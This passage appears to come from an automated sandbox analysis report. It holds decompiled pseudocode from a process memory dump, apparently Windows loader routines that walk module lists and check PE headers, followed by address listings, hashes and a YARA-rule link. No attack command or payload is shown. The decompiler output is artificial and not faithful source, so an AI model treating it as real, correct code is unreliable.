											__eflags =  *((char*)(_t267 + 0xa));
											if( *((char*)(_t267 + 0xa)) != 0) {
												 *_t140 =  *((intOrPtr*)(_t229 + 0x44));
											} else {
												 *_t140 = 0;
											}
										}
										_t256 = _a12;
										if(_t256 != 0) {
											 *_t256 =  *((intOrPtr*)(_t229 + 0x3c));
										}
										_t257 =  *_t205;
										_v48 = 0;
										 *((intOrPtr*)(_t267 + 0x2c)) = 0;
										_v56 = 0;
										_v52 = 0;
										_t144 =  *( *[fs:0x30] + 0x50);
										if(_t144 != 0) {
											__eflags =  *_t144;
											if( *_t144 == 0) {
												goto L20;
											}
											_t145 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											goto L21;
										} else {
											L20:
											_t145 = 0x7ffe0384;
											L21:
											if( *_t145 != 0) {
												_t146 =  *[fs:0x30];
												__eflags =  *(_t146 + 0x240) & 0x00000004;
												if(( *(_t146 + 0x240) & 0x00000004) != 0) {
													_t147 = E03C67D50();
													__eflags = _t147;
													if(_t147 == 0) {
														_t148 = 0x7ffe0385;
													} else {
														_t148 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
													}
													__eflags =  *_t148 & 0x00000020;
													if(( *_t148 & 0x00000020) != 0) {
														_t149 = _v72;
														__eflags = _t149;
														if(__eflags == 0) {
															_t149 = 0x3c25c80;
														}
														_push(_t149);
														_push( &_v48);
														 *((char*)(_t267 + 0xb)) = E03C7F6E0(_t198, _t242, _t257, __eflags);
														_push(_t257);
														_push( &_v64);
														_t153 = E03C7F6E0(_t198, _t242, _t257, __eflags);
														__eflags =  *((char*)(_t267 + 0xb));
														if( *((char*)(_t267 + 0xb)) != 0) {
															__eflags = _t153;
															if(_t153 != 0) {
																__eflags = 0;
																E03CC7016(0x14c1, 0, 0, 0,  &_v72,  &_v64);
																L03C62400(_t267 + 0x20);
															}
															L03C62400( &_v64);
														}
													}
												}
											}
											_t129 = 0;
											L23:
											return _t129;
										}
									}
								}
							}
							L8:
							_t275 = _t240;
							if(_t275 != 0) {
								_v73 = 0;
								_t253 = 0;
								__eflags = 0;
								L29:
								_push(0);
								_t241 = E03C72397(_t240);
								__eflags = _t241;
								if(_t241 == 0) {
									_t229 = 0;
									L14:
									_t135 = 0;
									goto L15;
								}
								__eflags =  *((char*)(_t267 + 0xb));
								 *(_t241 + 0x34) = 1;
								if( *((char*)(_t267 + 0xb)) != 0) {
									E03C62280(_t134, 0x3d38608);
									__eflags =  *0x3d36e48 - _t253; // 0x2cad068
									if(__eflags != 0) {
										L48:
										_t253 = 0;
										__eflags = 0;
										L49:
										E03C5FFB0(_t198, _t241, 0x3d38608);
										__eflags = _t253;
										if(_t253 != 0) {
											L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t253);
										}
										goto L31;
									}
									 *0x3d36e48 = _t241;
									 *(_t241 + 0x34) =  *(_t241 + 0x34) + 1;
									__eflags = _t253;
									if(_t253 != 0) {
										_t57 = _t253 + 0x34;
										 *_t57 =  *(_t253 + 0x34) + 0xffffffff;
										__eflags =  *_t57;
										if( *_t57 == 0) {
											goto L49;
										}
									}
									goto L48;
								}
								L31:
								_t229 = _t241;
								goto L14;
							}
							_v73 = 1;
							_v64 = _t240;
							asm("lock bts dword [esi], 0x0");
							if(_t275 < 0) {
								_t231 =  *0x3d38608; // 0x0
								while(1) {
									_v60 = _t231;
									__eflags = _t231 & 0x00000001;
									if((_t231 & 0x00000001) != 0) {
										goto L76;
									}
									_t73 = _t231 + 1; // 0x1
									_t210 = _t73;
									asm("lock cmpxchg [edi], ecx");
									__eflags = _t231 - _t231;
									if(_t231 != _t231) {
										L92:
										_t133 = E03C76B90(_t210,  &_v64);
										_t262 =  *0x3d38608; // 0x0
										L93:
										_t231 = _t262;
										continue;
									}
									_t240 = _v56;
									goto L10;
									L76:
									_t169 = E03C7E180(_t133);
									__eflags = _t169;
									if(_t169 != 0) {
										_push(0xc000004b);
										_push(0xffffffff);
										E03C897C0();
										_t231 = _v68;
									}
									_v72 = 0;
									_v24 =  *( *[fs:0x18] + 0x24);
									_v16 = 3;
									_v28 = 0;
									__eflags = _t231 & 0x00000002;
									if((_t231 & 0x00000002) == 0) {
										_v32 =  &_v36;
										_t174 = _t231 >> 4;
										__eflags = 1 - _t174;
										_v20 = _t174;
										asm("sbb ecx, ecx");
										_t210 = 3 |  &_v36;
										__eflags = _t174;
										if(_t174 == 0) {
											_v20 = 0xfffffffe;
										}
									} else {
										_v32 = 0;
										_v20 = 0xffffffff;
										_v36 = _t231 & 0xfffffff0;
										_t210 = _t231 & 0x00000008 |  &_v36 | 0x00000007;
										_v72 =  !(_t231 >> 2) & 0xffffff01;
									}
									asm("lock cmpxchg [edi], esi");
									_t262 = _t231;
									__eflags = _t262 - _t231;
									if(_t262 != _t231) {
										goto L92;
									} else {
										__eflags = _v72;
										if(_v72 != 0) {
											E03C8006A(0x3d38608, _t210);
										}
										__eflags =  *0x7ffe036a - 1;
										if(__eflags <= 0) {
											L89:
											_t133 =  &_v16;
											asm("lock btr dword [eax], 0x1");
											if(__eflags >= 0) {
												goto L93;
											} else {
												goto L90;
											}
											do {
												L90:
												_push(0);
												_push(0x3d38608);
												E03C8B180();
												_t133 = _v24;
												__eflags = _t133 & 0x00000004;
											} while ((_t133 & 0x00000004) == 0);
											goto L93;
										} else {
											_t218 =  *0x3d36904; // 0x400
											__eflags = _t218;
											if(__eflags == 0) {
												goto L89;
											} else {
												goto L87;
											}
											while(1) {
												L87:
												__eflags = _v16 & 0x00000002;
												if(__eflags == 0) {
													goto L89;
												}
												asm("pause");
												_t218 = _t218 - 1;
												__eflags = _t218;
												if(__eflags != 0) {
													continue;
												}
												goto L89;
											}
											goto L89;
										}
									}
								}
							}
							L10:
							_t229 =  *0x3d36e48; // 0x2cad068
							_v72 = _t229;
							if(_t229 == 0) {
								L45:
								E03C5FFB0(_t198, _t240, 0x3d38608);
								_t253 = _v76;
								goto L29;
							}
							if( *((char*)(_t229 + 0x40)) != 0) {
								L13:
								 *((intOrPtr*)(_t229 + 0x34)) =  *((intOrPtr*)(_t229 + 0x34)) + 1;
								asm("lock cmpxchg [esi], ecx");
								_t215 = 1;
								if(1 != 1) {
									while(1) {
										_t246 = _t215 & 0x00000006;
										_t180 = _t215;
										__eflags = _t246 - 2;
										_v56 = _t246;
										_t235 = (0 | _t246 == 0x00000002) * 4 - 1 + _t215;
										asm("lock cmpxchg [edi], esi");
										_t248 = _v56;
										__eflags = _t180 - _t215;
										if(_t180 == _t215) {
											break;
										}
										_t215 = _t180;
									}
									__eflags = _t248 - 2;
									if(_t248 == 2) {
										__eflags = 0;
										E03C800C2(0x3d38608, 0, _t235);
									}
									_t229 = _v72;
								}
								goto L14;
							}
							_t18 = _t229 + 0x38; // 0x9
							if( *_t18 !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
								goto L45;
							}
							goto L13;
						}
					}
				}
				_t227 = 0;
				_v75 = 0;
				if(_t128 != 0) {
					goto L4;
				}
				goto L2;
			}

0x03c720a0
0x03c720a8
0x03c720ad
0x03c720b3
0x03c720b8
0x03c720c2
0x03c720c7
0x03c720cb
0x03c720d2
0x03c72263
0x03c72266
0x03cb5836
0x03cb5836
0x00000000
0x03c7226c
0x03c7226c
0x03c72270
0x03c72274
0x03c720e2
0x03c720e2
0x03c720e6
0x03c720ee
0x03cb57dc
0x03cb57de
0x03cb57ec
0x03cb57ec
0x03cb57f1
0x03cb57f3
0x03cb57f8
0x00000000
0x03cb57f8
0x03cb57e0
0x03cb57e4
0x03cb57ea
0x00000000
0x00000000
0x00000000
0x03cb57ea
0x03c720f4
0x03c720f4
0x03c720f8
0x03c720f8
0x03c720fc
0x03c72100
0x03c72106
0x03c72201
0x03c72206
0x03c7220b
0x03c7220e
0x03c722a9
0x03c722ac
0x00000000
0x00000000
0x03c722b2
0x03c722b5
0x03cb5801
0x03cb5806
0x00000000
0x00000000
0x03cb5810
0x03cb5815
0x03cb5818
0x00000000
0x00000000
0x03cb581e
0x03c722bb
0x03c722bb
0x03c72218
0x03c72218
0x03c7221c
0x03c72220
0x03c72222
0x03c722c2
0x03c722c4
0x03c722dc
0x03c722dc
0x03c722e1
0x00000000
0x00000000
0x00000000
0x03c722e7
0x03c722c8
0x03c722cd
0x03c722d3
0x03c722d6
0x03cb5823
0x03cb5825
0x03cb5827
0x00000000
0x00000000
0x03cb582d
0x00000000
0x03cb582d
0x00000000
0x03c72228
0x03c72228
0x00000000
0x03c72228
0x03c72222
0x03c72214
0x03c72214
0x00000000
0x03c72114
0x03c72114
0x03c72114
0x03c7211a
0x03c7211c
0x03c72348
0x03c7234d
0x03cb5840
0x03cb5845
0x03cb5848
0x03cb584e
0x03cb584e
0x03cb5848
0x03c72353
0x03c72355
0x03c72388
0x03c72388
0x03c72368
0x03c7236a
0x03c7236c
0x03c7238f
0x00000000
0x03c7236e
0x03c7236e
0x03c7218e
0x03c7218e
0x03c72191
0x03c72195
0x03cb5a03
0x03cb5a06
0x03cb5a0c
0x03cb5a0f
0x03cb5a11
0x03cb5a13
0x03cb5a13
0x03cb5a19
0x03cb5a1f
0x00000000
0x03c7219b
0x03c7219b
0x03c721a0
0x03c72282
0x03c72284
0x03c72284
0x03c72284
0x03c72284
0x03c721a6
0x03c721a9
0x03c721ac
0x03c721ae
0x03c721b3
0x03c7228b
0x03c72290
0x03c72379
0x03c72296
0x03c72298
0x03c72298
0x03c72290
0x03c721b9
0x03c721be
0x03c722a2
0x03c722a2
0x03c721c4
0x03c721c8
0x03c721cc
0x03c721d0
0x03c721d4
0x03c721de
0x03c721e3
0x03cb5a29
0x03cb5a2c
0x00000000
0x00000000
0x03cb5a3b
0x00000000
0x03c721e9
0x03c721e9
0x03c721e9
0x03c721ee
0x03c721f1
0x03cb5a45
0x03cb5a4b
0x03cb5a52
0x03cb5a58
0x03cb5a5d
0x03cb5a5f
0x03cb5a71
0x03cb5a61
0x03cb5a6a
0x03cb5a6a
0x03cb5a76
0x03cb5a79
0x03cb5a7f
0x03cb5a83
0x03cb5a85
0x03cb5a87
0x03cb5a87
0x03cb5a8c
0x03cb5a91
0x03cb5a97
0x03cb5a9f
0x03cb5aa0
0x03cb5aa1
0x03cb5aa6
0x03cb5aab
0x03cb5ab1
0x03cb5ab3
0x03cb5ab9
0x03cb5aca
0x03cb5ad4
0x03cb5ad4
0x03cb5ade
0x03cb5ade
0x03cb5aab
0x03cb5a79
0x03cb5a52
0x03c721f7
0x03c721f9
0x03c721fe
0x03c721fe
0x03c721e3
0x03c72195
0x03c7236c
0x03c72122
0x03c72122
0x03c72124
0x03c72231
0x03c72236
0x03c72236
0x03c72238
0x03c72238
0x03c72240
0x03c72242
0x03c72244
0x03cb59fc
0x03c7218c
0x03c7218c
0x00000000
0x03c7218c
0x03c7224a
0x03c7224f
0x03c72256
0x03c72304
0x03c72309
0x03c7230f
0x03c7231e
0x03c7231e
0x03c7231e
0x03c72320
0x03c72325
0x03c7232a
0x03c7232c
0x03c7233e
0x03c7233e
0x00000000
0x03c7232c
0x03c72311
0x03c72317
0x03c7231a
0x03c7231c
0x03c72380
0x03c72380
0x03c72380
0x03c72384
0x00000000
0x00000000
0x03c72386
0x00000000
0x03c7231c
0x03c7225c
0x03c7225c
0x00000000
0x03c7225c
0x03c7212a
0x03c72134
0x03c72138
0x03c7213d
0x03cb5858
0x03cb5863
0x03cb5863
0x03cb5867
0x03cb586a
0x00000000
0x00000000
0x03cb586c
0x03cb586c
0x03cb5871
0x03cb5875
0x03cb5877
0x03cb5997
0x03cb599c
0x03cb59a1
0x03cb59a7
0x03cb59a7
0x00000000
0x03cb59a7
0x03cb587d
0x00000000
0x03cb588b
0x03cb588b
0x03cb5890
0x03cb5892
0x03cb5894
0x03cb5899
0x03cb589b
0x03cb58a0
0x03cb58a0
0x03cb58aa
0x03cb58b2
0x03cb58b6
0x03cb58be
0x03cb58c6
0x03cb58c9
0x03cb590d
0x03cb5917
0x03cb591a
0x03cb591c
0x03cb5920
0x03cb5928
0x03cb592a
0x03cb592c
0x03cb592e
0x03cb592e
0x03cb58cb
0x03cb58cd
0x03cb58d8
0x03cb58e0
0x03cb58f4
0x03cb58fe
0x03cb58fe
0x03cb593a
0x03cb593e
0x03cb5940
0x03cb5942
0x00000000
0x03cb5944
0x03cb5944
0x03cb5949
0x03cb594e
0x03cb594e
0x03cb5953
0x03cb595b
0x03cb5976
0x03cb5976
0x03cb597a
0x03cb597f
0x00000000
0x00000000
0x00000000
0x00000000
0x03cb5981
0x03cb5981
0x03cb5981
0x03cb5983
0x03cb5988
0x03cb598d
0x03cb5991
0x03cb5991
0x00000000
0x03cb595d
0x03cb595d
0x03cb5963
0x03cb5965
0x00000000
0x00000000
0x00000000
0x00000000
0x03cb5967
0x03cb5967
0x03cb596b
0x03cb596d
0x00000000
0x00000000
0x03cb596f
0x03cb5971
0x03cb5971
0x03cb5974
0x00000000
0x00000000
0x00000000
0x03cb5974
0x00000000
0x03cb5967
0x03cb595b
0x03cb5942
0x03cb5863
0x03c72143
0x03c72143
0x03c72149
0x03c7214f
0x03c722ec
0x03c722f1
0x03c722f6
0x00000000
0x03c722f6
0x03c72159
0x03c72173
0x03c72173
0x03c7217d
0x03c72181
0x03c72186
0x03cb59ae
0x03cb59b2
0x03cb59b5
0x03cb59b7
0x03cb59ba
0x03cb59cd
0x03cb59d1
0x03cb59d5
0x03cb59d9
0x03cb59db
0x00000000
0x00000000
0x03cb59dd
0x03cb59dd
0x03cb59e1
0x03cb59e4
0x03cb59e7
0x03cb59ee
0x03cb59ee
0x03cb59f3
0x03cb59f3
0x00000000
0x03c72186
0x03c72164
0x03c7216d
0x00000000
0x00000000
0x00000000
0x03c7216d
0x03c72106
0x03c72266
0x03c720d8
0x03c720da
0x03c720e0
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2de047e4cfb98d061967c81afa8f2fe2a36b10afefdf20449f3a5300f7750d5
Instruction ID: 248b77cf99093287880bb12a60e84cb39702e4e76a34af649f02a76c504f7955
Opcode Fuzzy Hash: c2de047e4cfb98d061967c81afa8f2fe2a36b10afefdf20449f3a5300f7750d5
Instruction Fuzzy Hash: 35F11071A083459FD725CB29C8407AAB7E9BF86324F08895DEC95DF280D735D945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 03C5D5E0, Relevance: .4, Instructions: 353
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E03C5D5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
				signed int _v180;
				intOrPtr _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				signed int _t206;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				intOrPtr _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				unsigned int _t297;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				intOrPtr _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				intOrPtr* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t361;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0x3d3d360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = E03C56600(0x3d352d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0x3d37b9c; // 0x0
							_t281 = L03C64620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E03C8F3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0x3d37b90; // 0x770b0000
								if(_t384 == 0) {
									_t353 =  *0x3d37b8c; // 0x2ca1d40
									_v176 = _t353;
									_t63 = _t353 + 0x50; // 0x2ca3f68
									_t64 =  *_t63 + 0x20; // 0x9
									_t320 =  *_t64;
									_v184 = _t320;
								} else {
									E03C62280(_t200, 0x3d384d8);
									_t277 =  *0x3d385f4; // 0x2ca2240
									_t351 =  *0x3d385f8 & 1;
									while(_t277 != 0) {
										_t21 = _t277 - 0x50; // 0x73b60000
										_t337 =  *_t21;
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t23 = _t277 - 0x18; // 0x2ca2288
													_t340 =  *_t23;
													_t24 = _t277 - 0x68; // 0x2ca21d8
													_t353 = _t24;
													_v176 = _t353;
													__eflags =  *((intOrPtr*)(_t340 + 0xc)) - 0xffffffff;
													if( *((intOrPtr*)(_t340 + 0xc)) != 0xffffffff) {
														_t279 =  *_t340;
														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t30 = _t353 + 0x50; // 0x2ca2288
															_t340 =  *_t30;
														}
													}
													_t31 = _t340 + 0x20; // 0x9
													_v184 =  *_t31;
												}
											} else {
												_t22 = _t277 + 4; // 0x2caae00
												_t339 =  *_t22;
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									E03C5FFB0(_t287, _t353, 0x3d384d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E03C9CC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = E03C56600(0x3d352d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E03C57926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0x3d3b239 != 0) {
														_t342 =  *(_t353 + 0x18);
														E03CCE974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0x3d38472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														_t361 =  *0x3d3b218; // 0x4d7ed9e9
														asm("ror edi, cl");
														 *0x3d3b1e0( &_v192, _t353, _v168, 0, _v180);
														 *(_t361 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E03C62280(_t250, 0x3d384d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L03C83898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																E03C5FFB0(_t293, _t353, 0x3d384d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	E03C837F5(_t353, 0);
																}
																E03C80413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E03C79B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E03C702D6(_t174);
																}
																L03C677F0( *0x3d37b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E03C7C277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L03C5EC7F(_t353);
										L03C719B8(_t287, 0, _t353, 0);
										_t200 = E03C4F4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return E03C8B640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_t206 =  *0x3d3b2f8; // 0xc80000
									if((_t206 |  *0x3d3b2fc) == 0 || ( *0x3d3b2e4 & 0x00000001) != 0) {
										goto L46;
									} else {
										_t297 =  *0x3d3b2ec; // 0x100
										_v200 = 0;
										if((_t297 >> 0x00000008 & 0x00000003) == 3) {
											_t355 = _v168;
											_t342 =  &_v208;
											_t208 = E03CF6B68(_v168,  &_v208, _v168, __eflags);
											__eflags = _t208 - 1;
											if(_t208 == 1) {
												goto L46;
											} else {
												__eflags = _v208 & 0x00000010;
												if((_v208 & 0x00000010) == 0) {
													goto L46;
												} else {
													_t342 = 4;
													_t366 = E03CF6AEB(_t355, 4,  &_v216);
													__eflags = _t366;
													if(_t366 >= 0) {
														goto L46;
													} else {
														asm("int 0x29");
														_t356 = 0;
														_v44 = 0;
														_t290 = _v52;
														__eflags = 0;
														if(0 == 0) {
															L108:
															_t356 = 0;
															_v44 = 0;
															goto L63;
														} else {
															__eflags = 0;
															if(0 < 0) {
																goto L108;
															}
															L63:
															_v112 = _t356;
															__eflags = _t356;
															if(_t356 == 0) {
																L143:
																_v8 = 0xfffffffe;
																_t211 = 0xc0000089;
															} else {
																_v36 = 0;
																_v60 = 0;
																_v48 = 0;
																_v68 = 0;
																_v44 = _t290 & 0xfffffffc;
																E03C5E9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
																_t306 = _v68;
																__eflags = _t306;
																if(_t306 == 0) {
																	_t216 = 0xc000007b;
																	_v36 = 0xc000007b;
																	_t307 = _v60;
																} else {
																	__eflags = _t290 & 0x00000001;
																	if(__eflags == 0) {
																		_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																		__eflags = _t349 - 0x10b;
																		if(_t349 != 0x10b) {
																			__eflags = _t349 - 0x20b;
																			if(_t349 == 0x20b) {
																				goto L102;
																			} else {
																				_t307 = 0;
																				_v48 = 0;
																				_t216 = 0xc000007b;
																				_v36 = 0xc000007b;
																				goto L71;
																			}
																		} else {
																			L102:
																			_t307 =  *(_t306 + 0x50);
																			goto L69;
																		}
																		goto L151;
																	} else {
																		_t239 = L03C5EAEA(_t290, _t290, _t356, _t366, __eflags);
																		_t307 = _t239;
																		_v60 = _t307;
																		_v48 = _t307;
																		__eflags = _t307;
																		if(_t307 != 0) {
																			L70:
																			_t216 = _v36;
																		} else {
																			_push(_t239);
																			_push(0x14);
																			_push( &_v144);
																			_push(3);
																			_push(_v44);
																			_push(0xffffffff);
																			_t319 = E03C89730();
																			_v36 = _t319;
																			__eflags = _t319;
																			if(_t319 < 0) {
																				_t216 = 0xc000001f;
																				_v36 = 0xc000001f;
																				_t307 = _v60;
																			} else {
																				_t307 = _v132;
																				L69:
																				_v48 = _t307;
																				goto L70;
																			}
																		}
																	}
																}
																L71:
																_v72 = _t307;
																_v84 = _t216;
																__eflags = _t216 - 0xc000007b;
																if(_t216 == 0xc000007b) {
																	L150:
																	_v8 = 0xfffffffe;
																	_t211 = 0xc000007b;
																} else {
																	_t344 = _t290 & 0xfffffffc;
																	_v76 = _t344;
																	__eflags = _v40 - _t344;
																	if(_v40 <= _t344) {
																		goto L150;
																	} else {
																		__eflags = _t307;
																		if(_t307 == 0) {
																			L75:
																			_t217 = 0;
																			_v104 = 0;
																			__eflags = _t366;
																			if(_t366 != 0) {
																				__eflags = _t290 & 0x00000001;
																				if((_t290 & 0x00000001) != 0) {
																					_t217 = 1;
																					_v104 = 1;
																				}
																				_t290 = _v44;
																				_v52 = _t290;
																			}
																			__eflags = _t217 - 1;
																			if(_t217 != 1) {
																				_t369 = 0;
																				_t218 = _v40;
																				goto L91;
																			} else {
																				_v64 = 0;
																				E03C5E9C0(1, _t290, 0, 0,  &_v64);
																				_t309 = _v64;
																				_v108 = _t309;
																				__eflags = _t309;
																				if(_t309 == 0) {
																					goto L143;
																				} else {
																					_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																					__eflags = _t226 - 0x10b;
																					if(_t226 != 0x10b) {
																						__eflags = _t226 - 0x20b;
																						if(_t226 != 0x20b) {
																							goto L143;
																						} else {
																							_t371 =  *(_t309 + 0x98);
																							goto L83;
																						}
																					} else {
																						_t371 =  *(_t309 + 0x88);
																						L83:
																						__eflags = _t371;
																						if(_t371 != 0) {
																							_v80 = _t371 - _t356 + _t290;
																							_t310 = _v64;
																							_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																							_t292 =  *(_t310 + 6) & 0x0000ffff;
																							_t311 = 0;
																							__eflags = 0;
																							while(1) {
																								_v120 = _t311;
																								_v116 = _t348;
																								__eflags = _t311 - _t292;
																								if(_t311 >= _t292) {
																									goto L143;
																								}
																								_t359 =  *((intOrPtr*)(_t348 + 0xc));
																								__eflags = _t371 - _t359;
																								if(_t371 < _t359) {
																									L98:
																									_t348 = _t348 + 0x28;
																									_t311 = _t311 + 1;
																									continue;
																								} else {
																									__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																									if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																										goto L98;
																									} else {
																										__eflags = _t348;
																										if(_t348 == 0) {
																											goto L143;
																										} else {
																											_t218 = _v40;
																											_t312 =  *_t218;
